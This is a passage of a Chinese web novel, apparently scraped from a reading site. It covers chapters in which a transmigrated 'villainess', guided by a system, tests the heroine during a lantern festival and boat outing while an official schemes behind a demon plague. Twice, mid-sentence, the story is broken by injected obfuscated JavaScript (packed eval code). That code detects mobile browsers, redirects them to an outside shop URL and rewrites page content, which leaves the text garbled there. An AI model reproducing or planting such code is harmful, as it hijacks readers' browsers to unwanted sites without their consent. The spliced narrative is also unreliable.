她穿着一身白衣,飘飘逸逸,眉间一点朱砂痣,浑然天成,站在那里像是从画里走出来的人。阿毓蹲下来,好奇地打量着柳清圆,如玉的白发铺了满地。 柳清圆盯着她。那种深邃的、带着欲望的目光,像是要把眼前这个人连皮带骨吞下去。她不受控制地往前一扑,骨刺在血肉里搅动,疼得她眼前发黑。 毓虽然躲得及时,但脖颈上还是被划出一道血痕。 柳清圆的眼眸是冰蓝色的,里面翻涌着杀意,还有更原始的疯狂。这便是妖类的本性。 毓怔怔地看着她,眼眶里慢慢蓄满了水雾。她没有说话,只是颤抖着退开了。 她离开的时候,滴落在血痕里的血珠渗入地面,沿着砖缝长出了星星点点的白色小花,孤零零地开着。 囚室的门重新关上,黑暗又一次吞没了柳清圆。 自有意识起,她就觉得自己是从九幽之地诞生的。那是天地间最肮脏的地方,妖魔鬼怪、魑魅魍魉,都从那里爬出来。 可是阿毓说,都是她的错,把圆圆弄丢了,让圆圆被拐到了这个地方,圆圆和瑶瑶都是天道的福泽,才不是什么妖魔鬼怪。 阿毓第二次来看她,给她化了一株莲花。柳清圆用一把火烧了它,干干净净。 阿毓这次问了她:“你认得我吗?你和瑶瑶一样,是我的徒儿。” 柳清圆不认得。她只认得饿。 阿毓用那柄骨刃剖了自己半颗心喂给她,滚烫的血肉让初至人世的妖魔兴奋不已。柳清圆捧着那颗心满意地啃着,瞳孔里有什么东西慢慢聚拢,怕旁边的人抢走,还凶狠地盯着阿毓。 之后的日子,她开始学着做人。 阿毓教她说话,教她忍住不咬活物,教她把身上烂掉的肉一片一片剜掉,再用灵力催生新的。然后在某一天明媚的午后,阿毓正在睡梦中,瑶瑶和圆圆还在那棵棠梨树上摘花玩儿,手心里捧了梨花,一起凑到师父身边要她瞧,却发觉师父已经没了气息。 在梦里的柳清圆又等了千年万年,她换了好多具身体,有的撑了三年,有的三天就烂透了。她像一条蛇反复蜕皮,每次醒来都忘掉大半的事,只记得心中的满腔恨意。 天明梦醒时,这一次脑子里涌进来的记忆太多,柳清圆趴在床边吐了很久。吐完之后她站起来,还仔细看了看自己的身体究竟有没有烂。 从八岁时母亲离开她,那些噩梦就开始扰得她神思混沌,就好像她真真切切地活了千百世,所有的记忆都聚拢在这一世觉醒似的。渐渐的,她还开始觉醒了许多莫名其妙的法术,阿济那年被山上的熊袭击,都快要死了,她却凭着本能施展了法术,将他炼成了“隗”,阿济变成了一个人不人鬼不鬼的东西。 那些梦是真的假的已经不重要了。柳清圆只知道她娘叫越阿毓,越家溪的水是清清凉凉的,阿毓走的那天穿的是白衣服,有人害死了阿毓。 她要找到那个人,然后把它吃干净。柳清圆要做的只有报仇。她要揭开那些梦境下的真相,找到自己生而为人的凭依。 25. 夜来题破窗花影 四月十五,春光正好。今天就是跟女主约好去明月楼的日子。 柳知微昨晚用“赛半仙”看柳清圆的记忆,结果只看到一堆莫名其妙的祭祀场面,还有两个小女孩在棠梨树上摘花玩,连脸都看不清。请问这跟诈骗有什么区别?于是天亮之后她逮着系统就是一顿输出。 偏偏系统还嘴硬,说“赛半仙”技能绝对没问题,看到的一定是女主的记忆,只是她悟性不够高,得再做几个小任务才能解锁。不提这个还好,提了之后柳知微马上就炸了。这熟悉的套路,不就是拼夕夕再砍一万刀嘛! 好在她一番“感化”之下,系统终于吐出了一点补偿,告诉她可以想办法让女主亲口承认自己是重生的,这就是最直接的认定方式。 柳知微听完之后直接准备跟系统决一死战,谁料一大早柳清圆亲自找上门来,伟大地阻止了这场一人一狗的世界级大战。 柳清圆今日格外殷勤,不但替柳知微挑了件鹅黄色的衫子,还亲手替她绾了个俏皮的垂挂髻,簪了两朵珠花。镜中的柳知微一改往日那副清冷出尘的白莲花模样,倒像是谁家养在深闺不谙世事的小妹妹,娇俏得让人想捏一把脸。 “妹妹这样好看,莫说明月楼的那些纨绔子弟,就连我看见妹妹都要走不动道了。”柳清圆笑嘻嘻地挽住她的胳膊。 柳知微被她拖着往外走,表面上还是那副不以为意的模样,实则心里早就七上八下的了。 昨日那场意外,柳清圆表现出来那种暗藏锋芒的危险感,还有那似笑非笑的挑衅,与现在的她大不相同。柳知微几乎可以肯定,柳清圆早就知道昨晚的人是她。可偏偏对方还是一副若无其事的模样,反倒让她有些摸不着头脑了。 她总觉得哪里不对,可柳清圆今日表现得滴水不漏,依旧笑靥如花,依旧亲亲热热地叫她妹妹,仿佛什么都没发生过。 女主你到底在装什么? “妹妹怎么心不在焉的?”柳清圆凑过来,眼睫扑闪扑闪,“可是身子不舒服?要不咱们改日再去?” “不……不必。”柳知微压下满腹疑虑,扬起笑容,“难得姐姐有兴致,我哪有不陪着的道理?况且姐姐三日后便要同封郎君成亲了,往后咱们姐妹俩可没如今这般自在了。今日,定要尽兴才好。” 柳清圆面上笑得更甜了,闻言目光却闪了闪,挽着她的手臂又紧了紧。 柳知微心里暗笑:果然,女主还是在试探。柳清圆估计早就摸清了原主那点想法,眼下大婚将近,想必她也不愿再横生枝节。 看来自己这个恶毒女配在女主心里还挺有分量的,她这么怕大婚出变故。不过不管女主能预知到什么,三日后这婚呢,她柳知微是抢定了! 开始的时候,柳知微还端着恶女的架子,对柳清圆爱答不理,直到她看见一处糖葫芦摊。 柳清圆眼睛一亮,下意识拉住柳知微的袖子,在摊子前停下脚步。 “莺莺你看,这家的山楂最大最红,咬下去又脆又响,酸酸甜甜很好吃的。” 她买了一串递过来,自己又举着一串,咬下一颗,腮帮子鼓鼓的,含含糊糊地说着。 柳知微接过糖葫芦,有些愣神:么嘎,这还是她认识的那个白切黑女主吗? 两人继续往前走,路过胭脂铺时,柳清圆又拽住她,指着柜台上的一排瓷盒,语气里带着几分得意:“左边那个颜色最正,上月我买了,涂上显得气色特别好。” 柳知微顺着她手指的方向看过去,没说话,嘴角却微微动了动。 再往前走几步,一条窄巷口飘出馄饨的香气。柳清圆吸了吸鼻子,脚步慢下来。 “就这家,”她拉着柳知微往巷子里走,“听人说开了二十年了,汤头是老母鸡熬的,比大馆子里的还好喝。” 柳知微被她拉来拉去,也跟着起了兴致,一路逛一路买,凡是看一眼觉得新奇的就掏银子,最后怀里抱了一堆没用的小玩意儿,柳清圆看着无奈又好笑:“妹妹这是要把整条街都搬回家?” 柳知微双眼放光:“有钱当然是用来花的啊!” 要不是任务还没做完,她现在就想原地退休,过上那种每天睡到自然醒、想买什么买什么的富贵日子。 没想到现在暂时放下了那些剧本里设定的台词和表情,她居然能和女主聊得这么开心。 柳知微悄悄叹了口气。 其实她本来就不是什么恶毒女配啊。只是演得太久了,有时候连她自己都快分不清哪一面才是真的自己。 柳清圆歪着头看她,眼波柔柔地缠上来:“二妹妹不爱,我自是不爱。可如今看妹妹也喜欢出门了,我心里也跟着欢喜。” 这话说得轻巧,却叫人听不出深浅。柳知微被她那双含笑的眼睛笼着,又想起昨日的吻,耳根渐渐烫了起来。可旋即她心头一紧,女主这话里话外的,分明是留意到了她近来的变化,再想到昨日那出格的举动,怎么想,都觉得柳清圆是别有用意的。 柳知微稍稍后退半步,拉开与柳清圆之间的距离。她心有余悸地别开视线,不敢再看那张过分好看的脸。女主的美貌光环可不是盖的,虽然趁其不备被亲这种事……现在大庭广众之下,应该不可能会发生。 “二妹妹躲什么?”柳清圆一眼看穿她的不自在,笑吟吟地伸手,不费吹灰之力便将那摇摇欲坠的“小山”接了过来,腾出的另一只手顺势揽住柳知微的腰,轻轻一带,把人拢回身边。 “姐姐莫非会吃了你不成?还是说……二妹妹心里有鬼,怕被我一口吞了,连骨头都不剩?” 后面跟着的一群乌泱泱的丫鬟仆婢登时都瞪大了眼睛。 柳知微浑身一僵,脑中警铃大作。好哇,女主是彻底不装了是吧!什么柔弱闺秀,分明一拳头就能打死一头黑熊! 她眸光微转,定定看向柳清圆,不咸不淡地开口:“柳清圆,别得寸进尺。你打的是什么主意,你以为我不晓得?邀我来这明月楼,恐怕不光是为了赏花赏月赏春色吧?” 她轻轻拂开对方的手,退后半步,神情淡淡的:“你这又是搂又是抱的,知道的说是姐妹情深,不知道的,怕要以为你打算把我拐去卖了。说吧,到底打的什么算盘。春日宴上那桩花妖的事还没了结,现在又把我引到这明月楼……怎么,上次没坑够,这次又换个新花样?” 在这个节骨眼上,她本就声名狼藉,柳清圆与封瑾遥的婚事又传得满城风雨。春日宴上那桩花妖的事还没个了结,柳清圆又故意激她出来明月楼,这摆明了是要搞事情。真当她是傻子吗? 她早就向系统申请了特殊保护。今天不管柳清圆打什么主意,反正她绝不会受伤,一定能全身而退。 迷魂香的事没有成功,这次非得把柳清圆的狐狸尾巴揪出来不可。这次不管什么线索都行,只要有个由头,她就能顺藤摸瓜, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576314|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把女主死死摁在剧情里翻不了身。 不就是以身入局么?好啊,那就来。 “妹妹想多了。”柳清圆嗤地笑出声来,眼尾一挑,带着几分轻佻,“我来这明月楼,还真是为了求姻缘。只是我要的姻缘,不在封公子身上,而在……” 她故意停顿了一下,目光肆无忌惮地落在柳知微脸上,从上到下,慢慢悠悠地打量了一圈,才补上未尽的话:“……在眼前人。” “二妹妹才值得我费尽心思。”她凑到柳知微耳边,声音低得像是只说给她一个人听,眼里泛起幽光,唇角微微上扬,“你心里怎么想的,我都知道。” “莺莺是觉得我要害你,今日布了局等你往里跳。”她坦然迎上柳知微的目光,语气诚恳了几分,“可万一我是真心的呢?这府里,能跟我好好说上几句话的,也就只有你了。” 柳清圆放开了柳知微,退后半步,却又像是故意似的,袖角轻轻擦过柳知微的手背。 “莺莺,你我姐妹今日且不谈这些。”她的眼角眉梢漾开一抹浅笑,“你看这明月楼的盛景,当真是举世无双。” “你我不如好好谈谈,去楼里坐坐?”她放轻了声音,目光柔软地看着对方,“你放心,今晚我不会对你做什么……至少,不会在你不愿意的时候。” 柳知微:“……”她直接蚌埠住了好吧。 这话怎么听都不像正经姐姐该说的。而且“不会在你不愿意的时候”是什么意思?女主大大别说这么看得人心皇皇的话好吗! 系统:【……】它只看见一个绝望的直女。 那边柳清圆说完,也不等她开口,便自顾自地转身,朝明月楼方向走去。刚走出两步,柳清圆忽然停住,便缓缓回过头来,目光幽幽地落在柳知微身上。 系统在柳知微脑海里发出尖锐爆鸣声:【答应她!答应她!】 任务界面上,支线剧情进度条亮了起来,正卡在一个关键节点上,只要柳知微点头,就能解锁了。 可柳知微迟迟没有回应。 她心里翻来覆去地想了很久。就目前掌握的线索来看,女主拥有预知未来的能力,可能除了医毒双修的设定之外,还藏着别的技能。也许她靠预知梦,提前知道了柳知微在春日宴上的“合情香”剧情,想要阻止。后来在花妖副本里,柳知微抹除bug时见到的那个,才是真正的柳清圆,也就是说,春日宴上的柳清圆,根本没有被花妖毒害。 可柳知微自己是有系统保护的。那女主呢?她凭什么? 再往后,柳清圆又复刻了一份沾有花妖妖气的合情香,带到她身边,引得缉妖司给她下了嫌疑。然后一步步把她引到这明月楼来…… 所有这些,只有两种解释。 要么,花妖就是柳清圆派来的。柳清圆重生归来,恨极了柳知微这个恶毒女配,想提前把她除掉。之前那些示弱、亲近,全是为了培养主角光环的伪装。这个解释很合理,可怎么解释昨晚那件事?明明已经被识破了,柳清圆还主动亲了她。 要么就是…… 柳知微不敢往下想了。 要么就是,柳清圆没有重生。只是因为所谓的世界秩序混乱,出现了一种特异能力,比如她能感知妖力。在春日宴上察觉到了妖物,所以想护柳知微安全。带她来明月楼,是为了钓出真正的大鱼。 柳清圆是在保护她。 可为什么呢? 26. 心有灵犀一点通 清风徐徐,宋歇站在楼前,衣袍被风吹得翻飞。 纪双扉跪在他面前,心里直叹气:也不知哪阵风把这尊大佛给吹来了。 缉妖司设在观星阁,那是宫中的一座高楼,紧挨着祭天台,原本是用来测星象的。千年前观星阁也曾风光一时,后来渐渐衰败,又因地下布了阵法被划为禁地,千百年来非皇室成员无人能靠近。直到近日缉妖司重启,这里才算重见天日,而纪双扉布下的守护大阵,本源力量就是从那地下的阵法里借来的。 这会儿月上中天,纪双扉前脚还在明月楼里搂着怜儿温存,晓得方青箬那边可能出事了。还没搞清楚呢,紧接着又有属下报消息说靖王宋歇忽然去了观星阁,他吓得赶紧往回赶。 纪双扉恭敬行礼,宋歇伸手把他扶起来:“纪统领,妖祸的事,有头绪了吗?” 纪双扉一脸正色:“此事盘根错节,大夏朝千百年来从没出过妖祸,还得从长计议。” 嘴上这么说,心里却虚得要命,明明这妖祸根本就是他亲手放的。原本只想闹出点小动静,显显本事好让上头重用,谁知道半路杀出个不知哪路的神仙,把花妖给杀了,局势也失去了控制。这下可好,宁都侯世子被错杀,封相家的公子得了失心疯,花妖也死了,他现在连找谁顶罪都找不着。 “那纪统领能给本王个准信吗?沈家公子的事拖不起了。” 纪双扉擦了把汗:“这妖魔鬼怪的事,冥冥中自有天意,臣只能尽人事、听天命。不过臣已有计划,沈世子吉人自有天相,等查明妖气源头,自然能化险为夷。” 宋歇点点头:“那便好,不过本王今日来,不是要兴师问罪。纪大人守卫京城,还望你用心对付妖祸,保我大夏国祚绵长。” 纪双扉心虚得不行:“殿下哪里话,应当的。食君之禄,担君之忧,本就是臣下的本分。” 宋歇又道:“本王深夜搅扰,是因发现一桩异样。今晚本王在沈世子床榻边守候,忽见阴风大作,一丝流光从他眉间流出。本王靠近时,看见一个影子,那东西还有一双血瞳。” 血瞳是不祥之物,一看就让人想到妖。宋歇很确定自己没看错。 纪双扉心里一紧,眼中闪过警惕:“血瞳?在沈世子身边?” 他心下却犯了嘀咕,总觉得不应该。自从察觉到不对劲,他就没再让烛怜光动过手。莫非那才是真正杀了方青箬的祸首?难不成他这次装神弄鬼,还真招来了别的妖魔? “殿下,是在宁都侯府发现的?待臣去查探查探。殿下放心,臣已然设下招魂阵法,半月之内,世子必定安然醒来。” 宋歇点点头,叮嘱此事要秘密进行,千万不能让侯府的人知道,说完便走了。 纪双扉转身去了封相府邸,跟封相做了一笔交易。 他看了封瑾遥疯成那样,觉得实在少见。这可能是幻妖作祟,也可能是有妖物将妖毒深入他脑髓里,作为储备粮放着,可是就是看不出具体是什么妖魔的手段。 纪双扉于是打算一箭双雕,他对封相说的什么找柳家女借命都是瞎扯。他不过是借封相的手除掉那个可能知道真相的人,再从柳家女身上找出真凶,好向上头报功。至于封瑾遥,事后在他身上种下一颗种子,让他变成一副傀儡就行了。到时候明面上封瑾遥病也好了,只是会变得寡言少语些。 四月十五,他终于等来了消息。明月楼正是下手的好机会。 …… 明月楼坐落在京城最繁华的地段,看戏、听曲、宴饮,样样齐全。柳知微不知道柳清圆葫芦里卖的什么药,但还是跟着上来了。 伙计一瞧两人衣着气度,不敢怠慢,连忙引着她们上了楼。 三楼果然不一样,装潢比楼下精致了好几倍。每个雅间都用屏风隔开,既有私密性,又不显得逼仄。柳清圆挑了个临窗的好位置,一抬眼就能把整条街的景致尽收眼底。 柳清圆屏退了左右。 柳知微也不客气,直接开门见山,还特意跟她拉开了一段距离:“柳清圆,今天咱们就把话说清楚。你来历不明,花妖那会儿你倒安然无恙。我昏过去之后发生了什么,只有你知道。偏偏我一醒过来,你就遭了袭击。现在好了,我成了众矢之的,你挺满意吧?” 柳清圆笑盈盈地看着她。柳知微眼里全是戒备,可柳清圆心里只觉得这个二妹妹实在可爱。看来她是回过味来了,她还以为之前预知的梦出了差错,以后能杀她的人当真那么蠢呢。 “二妹妹的话真是让姐姐伤心,今日妹妹来,就是想质问我的?”柳清圆顿了顿,又说,“不如我可要提点下妹妹,最近流言越来越紧,有些事怕是要瞒不住了吧?可你来找我,也问不出什么来。” 在柳清圆看来,那合情香确实是柳知微自己做的,只是后来有人在上面动了手脚。柳知微是被人利用了,现在才反应过来,可不知怎么的,居然怀疑到了她头上。 “花妖的事,解铃还须系铃人,还是得从莺莺身上下手。” 柳知微听出来了,柳清圆又把锅甩了回来。这跟打哑谜似的,照这么下去,要引导她自己承认重生,得等到什么时候? 柳知微冷笑:“姐姐这话说的,就这么肯定那事是我惹出来的吗?该不会是姐姐借刀杀人,再把黑锅甩给我吧?” 柳清圆:“莺莺这是怀疑我?” “姐姐难道不是怀疑我?不然费这么大劲把我带到明月楼来干什么?再说了,姐姐还需要我提醒吗?那天宴席上,那香囊我本来是要送给好姐妹的礼物,结果姐姐非要坏我名声,一会儿说我要送给哪个公子,一会儿又不让我送出去。该不会是姐姐心里有鬼,在我香囊里动了什么手脚吧?” 柳清圆笑了:“妹妹伶牙俐齿,我佩服。既然你我都心怀鬼胎,不如把话说开了吧?” 话音还没落,柳清圆不紧不慢地喝了口茶。屏风外面忽然接二连三地传来人倒地的闷响。 “算算时候,也差不多了。”柳清圆放下茶杯,撑着桌面把柳知微圈在面前。两人四目相对,彼此眼里都是警觉,都是深不见底。 柳知微心里一沉,赶紧站起来往后退了好几步。可柳清圆的眼神死死盯着她,让她后脖颈直发凉。 柳知微给自己壮了壮胆:“呵呵,又想故技重施?第一次见姐姐,姐姐就在马车上给我下药。这次又把我的仆从给药晕了,想干什么?鱼死网破?” 柳清圆只是笑笑:“鱼死网破谈不上。只是妹妹让仆从带着那些刀啊绳子啊的,姐姐看着碍眼。保不齐是来对付谁的,姐姐总得防着点。再说了,我有些体己话想跟妹妹说,不方便让外人听见。” 柳知微咬牙:“好,好得很。不知道姐姐有什么话要说?还是被我揭穿了,要杀人灭口?” 系统在她脑海里疯狂呐喊:【人设值+150!宿主大大棒棒哒!释放迷魂香进度75%,需要对方降低戒备,她现在有什么要求尽量答应她!】 柳清圆却靠在窗前,望着明月楼外的长河。河面上已经亮起了灯,夜幕降临,明月楼反倒比白天更热闹了。 “莺莺错了。”柳清圆回过头来看她,月光和灯光交叠着落在脸上,把那双眼睛映得格外亮,“姐姐先前说来明月楼求姻缘,就是来求姻缘,顺便再做些别的事罢了。姐姐是顾念昨晚轻薄了妹妹一回,心里愧疚,想替妹妹报仇,洗清你的恶名。我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576315|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说这话,莺莺信吗?” 她忽然伸手,轻轻拂去柳知微肩上一缕被风吹乱的头发。这样温柔亲昵的动作,在剑拔弩张的氛围下简直称得上是诡异。 柳清圆缓缓勾起唇角,眼底笑意深不见底,暗涌汹涌:“莺莺,我早就说了,我是为你而来的。”她倾身过来,像毒蛇吐信似的轻轻舔过柳知微的耳畔,“莺莺都忘了吗?” 河面上,一艘艘画舫在夜色中缓缓穿行。丝竹声、欢笑声、觥筹交错声交织在一起,整条河都沸腾了。 柳知微被她突如其来的温柔弄得一怔,随即猛地偏头躲开。她心底猛地一惊:柳清圆果真知晓了昨晚的事。 柳知微深吸一口气,强装镇静地看向盈盈笑着的柳清圆,酝酿好情绪后冷笑一声。 柳知微猛地偏头,避开她揽过来的手臂,声音冷得像淬了冰:“什么顾念昨日的事,姐姐真是糊涂了,满嘴胡话。什么为我而来?柳清圆,你居心不良才是真。你是来杀我的吧?抢走这嫡女的位置,才是你的目的。” 她越说越急:“花妖的事,怎么就这么巧,你一来就发生了?怎么就这么巧,偏偏我嫌疑最大?你说跟你没关系,我不信。一个乡野丫头,哪来下药的本事?” 【人设值+666,迷魂香加载进度98%,请宿主大大务必稳住!】 柳清圆也不恼,收回手,指尖在窗棂上轻轻叩了两下。 “跟我走吗?” 她没接柳知微的话,语气平淡得像在问今天吃什么。月光下,她那张略显苍白的脸,衬得整个人像一幅画皮。 柳知微一愣:“什么?” 怎么不吵了?她这一步步引下去,眼看就要抓住女主人设的bug了,这人怎么不按套路来? 柳清圆继续说:“二妹妹,跟我走吗?我带你去见见真正的幕后之人。那人离间你我姐妹,实在该死。” 柳知微沉默了片刻,不肯露怯,硬声道:“你说的是谁?” 柳清圆叹了口气:“二妹妹,你故意装傻的样子,真不可爱。我更喜欢昨日的你,你明明知道是谁,何必多问?还是说,你不得不这样,存心套我的话?” 争执未休,窗外夜空骤然绽开一朵烟花,刺目的光芒如流星雨般倾泻而下。人声瞬间鼎沸,一盏盏长明灯陆续升空,河面上亦是浮灯点点,流光逐波,每一盏灯都载着他们的心愿悠悠向远方。 柳清圆侧身望向窗外,河面画舫越聚越多,灯火映在水里,碎成一片金色的光。她指着其中最大的一艘,慢悠悠地说:“那艘花舟便是今晚的‘鹊桥’,传言乘着它绕明月楼沿河而过,便能再不分离,失散的人也会重聚。” 柳知微没心思理会这些,冷冷打断:“这些与我有什么关系?” 柳清圆回过头,嘴角微微一扬:“莺莺随我渡过鹊桥,自然就会知道。” 系统提示音在柳知微脑海里骤然炸响:【恭喜宿主获得花妖支线关键线索!那艘画舫上藏有拯救角色“沈流商”的关键道具——“赤金之心”。此物会引来妖物靠近,幕后之人更在周围布下捉妖阵法。一旦被赤金之心识别出身,便会被阵法所困,正是接近真相的关键所在。】 柳知微深吸一口气,把到嘴边的质问硬生生咽了回去:“你要我做什么?” 柳清圆弯了弯眼睛,这一笑倒像是真心实意的:“跟我上那艘画舫。” “就我们两个?” “就我们两个。” 屏风外,几个被药晕的仆从横七竖八地倒在地上,鼾声此起彼伏。柳清圆跨过其中一人的腿,头也不回地下了楼。 柳知微攥了攥袖中藏着的一柄短刃,跟了上去。 27. 守得云开见月明 明月楼外的长河边,夜风裹着水汽扑面而来。几艘小舟正泊在岸边,一个船夫见两人出来,殷勤地迎上来,将船篙往水里一撑。 “二位姑娘可是要上‘鹊桥’?那艘最大的花舟就是了。坐俺这船,保准又快又稳,别看这会儿人多,俺跟上头的人都打过招呼,凡是坐俺船上去的,都得留个好位置!” 柳清圆先一步上了船,伸出手来。柳知微没有接,自己稳稳当当地站了上去,船身晃了晃,她身子一倾,柳清圆眼疾手快地扶住了她的胳膊。 “莺莺可要小心,若落到水里,保不齐就被哪里的水鬼拖去吃了,到时候姐姐怕是哭断肠呢。” 柳知微:“……”她刚刚明明站得稳稳当当,船突然就自己晃起来了。再看看这剧情,明里暗里都把她往柳清圆身上推。 她在心里揪着系统疯狂炸麦:[有没有搞错?恶毒女配和女主,难道不该是见面就掐、斗得你死我活吗?天道!你剧本拿反了吧!怎么搞的!] 芝麻心虚了:【宿主大大您看啊,要懂得灵活变通嘛。世界都崩成这样了,那不正好大有可为吗?其实吧……转成拉拉也不是不可以……】 话没说完,瞧见柳知微那笑容和善得吓人,怒意值直接爆表,芝麻赶紧拐弯:【不可以!绝对不可以!宿主大大可是恶毒女配板块的优秀毕业生,绝对不能被女主压在身……呸呸呸,压倒一头!咱要跟天斗跟地斗,跟女主不死不休!】 柳知微故意甩开她的手,坐到船尾,离她远远的。柳清圆也不在意,在船头坐下,望着前方那艘灯火通明的画舫,眼底映出一片碎金似的光,笑意灼灼。 小舟悠悠地驶入了河道深处。 柳清圆当然不是毫无准备。她之所以选明月楼,不仅是因为预感出这里妖气浓郁,与柳知微那香囊中的妖毒同出一脉,还察觉到此处设下了所谓的捉妖阵法,而那阵法本身亦沾有妖气,她方觉察出这原是一场贼喊捉贼的戏码。 经过这一番试探,她几乎可以笃定,柳知微的确是遭人利用了,而这背后之人设下的局,柳知微似乎并不知情。 那阵法以河中央那艘画舫中埋下的法咒作引,借今夜月华之灵力,布下了圈套。只是她不知那阵眼是何物,只能感觉到似乎灵力巨大,对妖物而言是垂涎三尺的东西。若不提前设防,妖煞便会原形毕露,自投罗网。 而她此行的真正目的,不仅是为抓住那祸首,还是为了替沈流商寻一味药。而那阵眼,正是能替沈流商续命的东西。 柳清圆先前去探过沈府。沈流商身上那颗所谓的玲珑心,不过是仿制出的下品灵物,根本撑不过一月,或许半个月内就会彻底烂掉。 但那颗心里似乎有与她的“隗”相关的气息,或许能使沈流商如行尸走肉一般活着。那却比不得柳清圆为谢济泫施展的法术,谢济泫被她用隗术救回来以后,他依旧有自主意识,只是恢复得慢些,而且因此开了灵窍,竟也能使些术法出来,与植物人是不一样的。 柳知微最开始还警惕着柳清圆,时不时观察她的目光,瞥见她看过来就狠狠瞪一眼,惹得柳清圆笑笑,不再看她。可这会儿她自己倒先发起呆来了,河水悠悠,小船荡漾,满河的花灯映得人眼花缭乱,她心里竟也生出了几分雀跃。 这场景她实在太熟了。男女主灯会定情,私定终身,之后爱恨纠缠剪不断理还乱。每次穿到古代背景,一到灯会她就坐立不安,因为主线剧情启动,她就得在男女主之间折腾出无数幺蛾子来。光是把女主推下水这一出,她都不记得演过多少回了。 柳知微下意识问系统:[芝麻,这回要不要下黑手把女主推下去?然后英雄救美,男主正式登场?] 芝麻沉默了一下:【……宿主大大是不是忘了,上次春日宴女主落水,是您跳下去救的?】它越看柳知微越像那个男主。 柳知微一愣,随即想起来了:[哦对是我救的,我走了男主的戏份那是不是得加双倍工资?] 芝麻斩钉截铁:【哒咩!】 船上两人各怀鬼胎,齐齐不吭声。那船夫觉得自己有必要将顾客照顾好,提供情绪价值,于是开始自顾自说起来。 “二位小姐此来是为了求姻缘吧?明月楼这场盛会,便是为牵线有情人而设的。” 柳知微轻飘飘看一眼船夫,心道:今天我倒是来看看女主能整出什么把戏的,不过为了过任务混口饭吃而已。而柳清圆嘛,今日看起来像是来杀人的。 柳清圆却做出一副含羞带怯的模样,眼神如蜻蜓点水一般掠过柳知微,再用袖子掩住半张脸,微微一点头:“船夫大叔说的正是,小女正是为求得有情人成眷属来此。” 柳知微:“……”女主你撩错人了!逗她很好玩嘛! 柳清圆继续道:“小女虽有心上人,可小女的情人却似乎并不接受小女心迹,惹得小女心慌不已,恐事不成,便来求月娘保佑。” 船夫诧异:“姑娘貌若谪仙,端庄大气,哪家公子竟如此瞎眼,竟能弃佳人于不顾?” 柳清圆一点头,眼中竟有些泪花:“大叔切莫如此说她,小女认定的人,定是不会错的。怪只怪小女自己想求的太多,又惹了心上人烦恼,故而受此冷落罢了。” 船夫深深地叹了一口气:“唉,姑娘诚心如此,月仙定会让姑娘有情人终成眷属的!” 柳清圆轻点下头,视线落在柳知微身上,眸光深深,像把人看进了心里:“我既然选了她,就不会看错人。” 柳知微:“……”她抓过系统:[统子你告诉我,女主是不是有个吃人的隐藏设定?] 芝麻:【宿主你不要讲冷笑话啊!】居然被猜出来了,但是这涉及严重剧透了啊!对八起宿主,终极机密它不能说的! 柳知微被柳清圆看得发毛,索性偏过头去看江面。 “大叔,”她随口问道,“这明月楼盛会,年年都办,到底什么来历?” 船夫嘿嘿一笑:“姑娘问着了。这是咱京城的习俗,与那七月七乞巧节不一样,这说的是月娘的故事。” “月娘?” “传言月宫里的仙子,偷下凡间,在明月楼摆台招亲。有个书生以心头血养出一朵永不凋谢的牡丹,可到了四月十五月圆夜,仙子被天兵天将拦着没有来,天罚却降临了,整座明月楼都被一把火烧得干干净净。” 柳知微听完,面无表情地“哦”了一声。 船夫有些意外:“姑娘不觉得可惜?” “可惜什么,”她淡淡道,“擅自下凡触犯天条,这结局不是写好的么?跟牛郎织女一个模子。” 船夫讪讪住了口。 花舟很快到了。那船夫倒没骗人,她们一上去便被人引到临窗雅座,江景尽收眼底。 柳清圆坐在对面,托着下巴看她,眼里带笑:“莺莺,可看出什么了?”这跟柳知微在花妖幻境里听过的话真是一模一样,她心中暗嗤果然上次所见是真正的柳清圆,现在是根本演都不演了。 柳知微没接话,只将那杯柳清圆推过来的茶又往远处挪了挪。 窗外,花舟搭成的鹊桥上头,一男一女正咿咿呀呀地唱。女子妖冶美丽,边唱边舞,像是混了霸王别姬的路数,而那男角却生得过分秀气,怎么看怎么像个反串的。 柳知微收回目光,声音不高不低:“我看见姐姐心怀不轨,欲置我于死地。” 柳清圆笑容不变。 “你既怀疑那妖祸由我而起,定是想拿我当诱饵,”柳知微继续说,“然后必要的时候把我扔出来,趁妖物作乱做你的事。是也不是?” 柳清圆低头笑了一声,再抬头时语气轻软得像在哄孩子:“二妹妹真会说笑,不如你我打个赌?” 柳知微侧目看她。 “我去抓到那个真正的祸首,替二妹妹洗清冤名。事成之后,我亲自到你面前赔罪。到那时候,莺莺再原谅姐姐今日的不是,好不好?” 柳知微面无表情:“不好。” 柳清圆却已经转脸望向窗外,像是没听见那两个字似的,语气自然而笃定:“那就说好了。” 话音未落,四周的灯火却齐齐灭了。 周围响起此起彼伏的尖叫声,黑暗如潮水般涌来,将一切吞没。柳知微还没来得及反应,脚下的船板忽然裂开,她整个人失去平衡,直直地往河里坠去。 冰冷的河水灌进口鼻,柳知微在黑暗中拼命挣扎,却感觉有什么东西缠住了她的脚踝,把她往水底拖。 系统给予她的特殊保护开启,在她周围形成一道守护屏障,托着她往上游去,就在她以为自己要浮出水面的时候,一双手臂从背后紧紧环住了她。 那怀抱在冰冷的河水中将她牢牢箍住。柳清圆的声音贴着她的耳朵响起:“跟我来。” 